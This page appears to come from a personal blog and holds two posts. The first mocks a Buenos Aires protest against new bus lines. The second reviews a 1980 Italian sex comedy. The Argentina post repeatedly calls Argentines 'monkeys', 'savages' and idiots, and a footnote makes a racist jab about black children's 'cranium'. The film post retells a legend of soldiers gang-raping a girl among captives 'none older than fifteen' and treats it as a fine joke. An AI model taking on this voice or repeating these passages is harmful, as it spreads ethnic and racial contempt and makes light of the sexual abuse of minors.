Other than the terminai, the flora is pretty decent in Argentina (the fauna - not so much). Depicted above, a tree I definitely want in Eulora. Ho there, spiky guy!
Yes, you got that right : this is a grassrootsii protest against the expansion of bus lines. Can you wrap the head around this wonder ? Someone should tell municipalities everywhere to stop spending on infrastructure, as nobody-on-a-stick, shopkeeper in Buenos Aires has discovered a secret mayors hate : infrastructure development destroys commerce! And creates unemployment! Not to mention bus lines fragment the city! If only New York knew in the 50s what these bright minds discovered today.
Anyway, to rescue you from the pit of wtf : you have to understand Buenos Aires is not so much a city, located in a country, as a collection of inept monkeys located outside of human civilisation, culture or history. Consequently, the 10-20mn strong suburban agglomeration consists of easily half a million shops, numerically, but which STRICTLY reduce to about five types. There's not more. You have the RCB&Piii that serves uniformly the same five to six dishes and three drinks (don't forget to order extra de muzza), the Pastelleriaiv, the Gelateriav, then the Almacenvi, the Tiendavii with the Cotillon subtypeviii and that's about it! So technically, while the city consists of millions of people and hundreds of thousands of shops, you could film the whole daily life on a modest sitcom budget and nobody would know, nor be able to prove, that most of the city is missing. Because it wouldn't be missing, it would be all there. ALL OF IT.
Why do they do this ? Why is not the slightest variation permitted or even ostensibly considered ? Because they're imbeciles and idiots, what. Next you're going to ask me why the bars are full of old women gathered in troops squealing with delight at their smartphonesix and why the fuck they imagine they can live like in the magazines, on the collective basis of having a soy farm somewhere, vaguely nowhere. Hollywood rent control is a fiction trope, but that's ok : Argentina is a fictitious place.
The fact of the matter is that they do this, and they will not change or examine the deed. Once that's given, the rest is easy to understand : shithead figures that through paying the rent, he is entitled to the business of the people in so and so parcel of town, in so and so field. Which business those unfortunates must have, whether they want to or not. And the government should give them more money, so they can have more of that businessx because if someone has a hundred pesos he'll spend 10 on an empanada and if he had ten thousand obviously he just buys and eats a hundred empanadas at 10 pesos (ie, 70 cents) a pop. Each day. Which is why my displeasure with their "night life" is thoroughly incomprehensible to the locals - but there's all these 70 cent empanada stands!
So that's his logic : the bus will drive some of the money bags from his neighbourhood. Thus therefore, "it destroys commerce". Problem ? And if it destroys commerce the "entrepreneur" will be out a job, and so... creates unemployment. What do you mean a job is a specific thing with a specific meaning that doesn't map on sinecure ? What are you, some sort of sociopath ?! Why would he have to do the actual job, he already gave at the office! He IS an entrepeneur, as a matter of ontological categorisation, as proven by so and so piece of paper. What function ? Are you crazy mang ?!
Before you say "But MP, statistically speaking you've not provided any reason the buses aren't just as likely to bring business as they are to cart it away ? Not like buses get a free pass on mass conservation ?" : it's not whether they do or they don't. It's that they could. Entrepreneur does not wish to have a method to control practical events. Entrepreneur wishes for a transcendental solution, he wishes to control things in principle. Entrepreneur is really a monk in the wrong clothing, and the earlier observation re Juan Manuel de Rosas should finally make sense in all its full glory. YES, that fucking stupid, that fucking anachronistic, that fucking worthless, pointless and outside of nature and society. Savages, yes. Monkeys. Yes. Yes. Yes.
Vote for more immigration.
Since we're doing this whole "explain the words of Argentine idiot to normal people" thing : the above isn't a "typical union protest" thing. The above is the very pointedly specific following : some dudes were spending some time of their day hanging around in this place "someone" (ie, the state, God, whatever) put at their disposal. Like a social center for adults. At some point in the recent past which memory can still reach, some of the people that used to come to their social club stopped showing up. The remainder miss them, because they had whatever telenovela-grade superficial relations to them, and wish they should be brought back. That is all.
It's perfectly mystical, like a protest against death at the Florida retirement home, there's no more substance to it than "we grew used to Sally, where is she". That's it.
The country has seen better days.
This is a bar where the waitress brought me champagne but forgot the napkin, and when I asked for one she couldn't produce such. Brought me a towel instead. What the hell's the difference, right ?
———Fauna was the Latin goddess of critters. Then Linneus decided to invent Flora no wait. Flora was the Latin goddess of flowers, usually depicted as a nude slut in burlesque costume. Then Linneus decided to invent Faun-a, to discuss animals. Since architecture is essentially a matter of the configuration of rocks, and Terminus is the Latin god of significance in rocks, I guess the triplet would be termina, flora and fauna. The alternative to the demonymous approach would be to take the Linnaeic and name it after a famous rock or other, say kaaba, flora and fauna. But fuck him, hasn't he named enough things already ? (No seriously, he's the most prolific godfather in history, there's about 5mn items named in his style.) [↩]And very unlike what they pretentiously label that here, this is authentic. That is a nude exercise in pretense, and if you live like I lived on Corrientes y 9 de Julio you will in short order notice that the 500 to 1k derps "marching" and "lucha, bro!" are throughout the same people, hired for a pittance to play the part of "general public" in the complicated, stylisized, inept kabuki Argentines pretend to substitute for politics.
Because hey, the alternative is to say they've no politics nor the ability to create such, and since J. M. de Rosas died they've essentially been a people without a country, waiting for the next Messiah to come and render the perceptiblia meaningful and structurable again.
Speaking of which, you should probably look in the history of de Rosas and the Argentine derp's thoroughly Sabbatai Zevi-esque relationship to him. They're very, very deeply ashamed of the fact that yes, de Rosas was voted dictator in 1935, legally (as there was no law against it, then), by a sort of majority (9`713 to 7) of free votes that socialists have never ever attained, often not even while trying to employ force. This simple fact irks every socialist out there to high heavens, but what's the humours of a bunch of idiots to do against immodest reality ? [↩]The Restaurante-Cafe-Bar con Pizzeria/Parillada, two subtypes [↩]Which offers pre-made cakes ONLY for takeaway, it is forbidden by law to allow customers to eat the cake there, as they've not the license. [↩]Pretty good icecream universally. [↩]Random general interest shitty goods. [↩]Shitty apparel and clothes, the same ones. EVERYWHERE EXACT SAME ONES! [↩]"Party" items, which look cool at first, except they're always and everywhere the SAME party items. [↩]This happened last week. There I sit, talking, suddenly there's static. Very, very loud static. I turn around and there's the group, four fat fifty year olds with no utility or purpose, gathered around the iPad of one of them which was playing some video. With static. Volume through the roof.
"Do you mind ?"
Fuck that, no way anyone for a mile around can hear human speech.
"DO YOU FUCKING MIND!" I bellow from the demonic depths of Hell.
"Urgh ?!"
"Turn the fucking thing down!"
So they do, believe that! And then spend the next twenty minutes giggling amongst themselves like a bunch of preteen black kids in an inner city school. I'm telling you - it's not the race ; it's the cranium. [↩]Trickle down economy!11 [↩]
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Category: La pas prin lume
Thursday, 28 April, Year 8 d.Tr.
Rag. Arturo De Fanti, bancario precario
Rag. Arturo De Fanti, bancario precarioi, properly "Acc[ountant] Arturo De Fanti, precarious bank clerk" rather than "The Precarious Bank Teller" as it's known in English is a proper TV production.
To understand each other, "a proper TV production" isn't one in which teenaged girls in short skirts show their adolescent breast and everything else for the camera, like La Liceale & all might have mistakenly induced you to believe. No, a proper TV production is one in which adult women bare their souls & bosoms for the camera. The girls are at best condiment, not the meal, and exactly for that very reason : the lack of a soul.
In this installment, not so different from all the othersii, the story goes that Mr. Arturo De Fanti is a respectable burgeois fellow with a wife and a maid. Except, as he's also Italian, which is to say what you're slowly becoming - a morto de fame - he can't afford to pay the maid, and so she sits and watches TV all day long, while the wife strofina. He also has a mistress, and so a plan is hatched : how about if the mistress came to live with them ? As he fearfully explains, a mistress is a great expense, except should she live at home with the wife, in which case it's moreover savings. Plus she has a nice fur coat, which the wife might borrow (and which the wife subsequently learns, was bought by the Mr. in the first place).
So it is agreed, and they live together if not outright happily then at least somewhat burgeois-ily, which is to say routinely ; until the day Anna Maria Rizzoli (Vanna) goes out and is mugged! So wifey (Catherine Spaak aka Elena) points out to her she's supposed to keep her money in her bra, which turns out to have been exactly what the mistress was doing :
After she parades her tits qs the girls (wife + mistress) lovingly agree to carry their cash in their mutandine henceforth an' leave, while the maid (Enrica Bonaccorti), warmed up by the display, puts out her own :
Then it turns out that the wife also has a... how do you say mistress in the masculine in this god forsaken language ? Anyway, the happy group is introduced to L'amante de la moglie. Who, of course, has a wife, which shows up, along with her ex-husband that hates the current, not to mention a very murdersome fellow is liberated from prison and turns out to be none other than the mistress' own husband. Soon enough a moderately populous anarchist commune is sprawling in the house of the respectable borghese - and he's still not getting any!
This is what the TV is for, you know ? Its function is derisive not aspirational. You'll figure it out.
———1980, by Luciano Salce, with Paolo Villaggio and women. [↩]Ever seen La mazurka del barone, della santa e del fico fiorone ? It's notable not only for having resolved a very hard problem of Romanian etimology (that, were it not for your most modest host Blogomirea would have forever remained unknown to the Romanian "culture" generally and its various "intellectuals" individually - by the way, who else do you know who's objectively contributed to his language in this manner ?), but perhaps in English also for the introduction. To quote :
- Ooo, prenda me che sono vergine in cambio di tutte altre che forse non lo sono!
So, the story goes, in 726 the summer was hot, and king Liutprand of the Longobards, accomplished ballet dancer and great devourer of frogs entered Romagna under the excuse of protecting the venerators of sacred images from the scourge of the iconoclasts. Everyone got thoroughly shafted, except the women and children had taken refuge in a fortified monastery on the land now occupied by the palace Pellacani.
Towards evening, being well revenged on the casks, barrels and other Longobard enemies there present, the tired braves' mind goes back home, to the wife, to the fiancee, to the slave. Thereupon hearing the virginal songs of a bunch of blondy sluts praying and singing, none older than fifteen, they bust into the fortification with little difficulty. Just as they're preparing to ravage the countryside an' its Sabines a second time, one, santa Girolama, offers herself in trade, a virgin lamb to expiate the sins of all the other girls, not nearly as virgin. So the barbarians take her under a Ficus carica* nearby and fuck the living daylights out of her, much to the salivating astonishment of riper ladies in the audience, who count the deeds up to 33 altogether. Then she dies up in the tree, leaving behind a baby (just one!) and well... the church sanctifies the Ficus.
Not a bad yarn, hm ?
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* Need I explain what carici means in Romanian ? [↩]
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Category: Trilematograf
Thursday, 09 June, Year 8 d.Tr.